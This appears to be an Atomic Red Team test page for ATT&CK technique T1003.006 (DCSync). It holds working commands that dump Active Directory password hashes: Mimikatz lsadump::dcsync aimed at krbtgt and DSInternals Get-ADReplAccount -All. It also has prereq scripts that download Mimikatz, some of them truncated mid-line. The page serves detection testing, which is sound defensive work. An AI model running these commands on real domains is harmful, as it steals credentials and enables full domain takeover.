121 lines (72 loc) · 4.85 KB

T1003.006 - DCSync

Description from ATT&CK

> Adversaries may attempt to access credentials and other sensitive information by abusing a Windows Domain Controller's application programming interface (API)(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) (Citation: Wine API samlib.dll) to simulate the replication process from a remote domain controller using a technique called DCSync.
> Members of the Administrators, Domain Admins, and Enterprise Admin groups or computer accounts on the domain controller are able to run DCSync to pull password data(Citation: ADSecurity Mimikatz DCSync) from Active Directory, which may include current and historical hashes of potentially useful accounts such as KRBTGT and Administrators. The hashes can then in turn be used to create a Golden Ticket for use in Pass the Ticket(Citation: Harmj0y Mimikatz and DCSync) or change an account's password as noted in Account Manipulation.(Citation: InsiderThreat ChangeNTLM July 2017)
>
> DCSync functionality has been included in the "lsadump" module in Mimikatz.(Citation: GitHub Mimikatz lsadump Module) Lsadump also includes NetSync, which performs DCSync over a legacy

> replication protocol.(Citation: Microsoft NRPC Dec 2017)

Atomic Tests

- Atomic Test #1 - DCSync (Active Directory)
- Atomic Test #2 - Run DSInternals Get-ADReplAccount

Atomic Test #1 - DCSync (Active Directory)

Active Directory attack allowing retrieval of account information without accessing memory or retrieving the NTDS database. Works against a remote Windows Domain Controller using the replication protocol. Privileges required: domain admin or domain controller account (by default), or any other account with required rights. Reference

Supported Platforms: Windows

auto_generated_guid: 129efd28-8497-4c87-a1b0-73b9a870ca3e

Inputs:

Name	Description	Type	Default Value
domain	Targeted Active Directory domain	String	%userdnsdomain%
user	Targeted user	String	krbtgt
mimikatz_path	Mimikatz windows executable	Path	%tmp%\mimikatz\x64\mimikatz.exe

Attack Commands: Run with `command_prompt`!

```
#{mimikatz_path} "lsadump::dcsync /domain:#{domain} /user:#{user}@#{domain}" "exit
```

Dependencies: Run with `powershell`!

Description: Mimikatz executor must exist on disk and at specified location (#{mimikatz_path})

Check Prereq Commands:

```
$mimikatz_path = cmd /c echo #{mimikatz_path}
if (Test-Path $mimikatz_path) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
$mimikatz_path = cmd /c echo #{mimikatz_path}
$mimikatz_relative_uri = Invoke-WebRequest "https://github.com/gentilkiwi/mimikatz/
Invoke-WebRequest "https://github.com$mimikatz_relative_uri" -UseBasicParsing -Out
Expand-Archive $env:TEMP\mimikatz.zip $env:TEMP\mimikatz -Force
New-Item -ItemType Directory (Split-Path $mimikatz_path) -Force | Out-Null
Move-Item $env:TEMP\mimikatz\x64\mimikatz.exe $mimikatz_path -Force
```

Preview Code Blame Raw

Atomic Test #2 - Run DSInternals Get-ADReplAccount

The following Atomic will run Get-ADReplAccount from DSInternals. Upon successful execution, domain and credentials will appear in stdout. Reference CrowdStrike StellerParticle. https://www.dsinternals.com/en/retrieving-active-directory-passwords-remotely/

Supported Platforms: Windows

auto_generated_guid: a0bced08-3fc5-4d8b-93b7-e8344739376e

Inputs:

Name	Description	Type	Default Value
logonserver	ComputerName argument default %logonserver%	String	$ENV:logonserver.TrimStart("\")

Attack Commands: Run with `powershell`!

```
Get-ADReplAccount -All -Server #{logonserver}
```

Dependencies: Run with `powershell`!

Description: DSInternals must be installed

Check Prereq Commands:

```
$RequiredModule = Get-Module -Name DSInternals -ListAvailable
if (-not $RequiredModule) {exit 1}
if (-not $RequiredModule.ExportedCommands['DSInternals']) {exit 1} else {exit 0}
```

Get Prereq Commands:

```
Install-Module -Name DSInternals -Scope CurrentUser -Force
```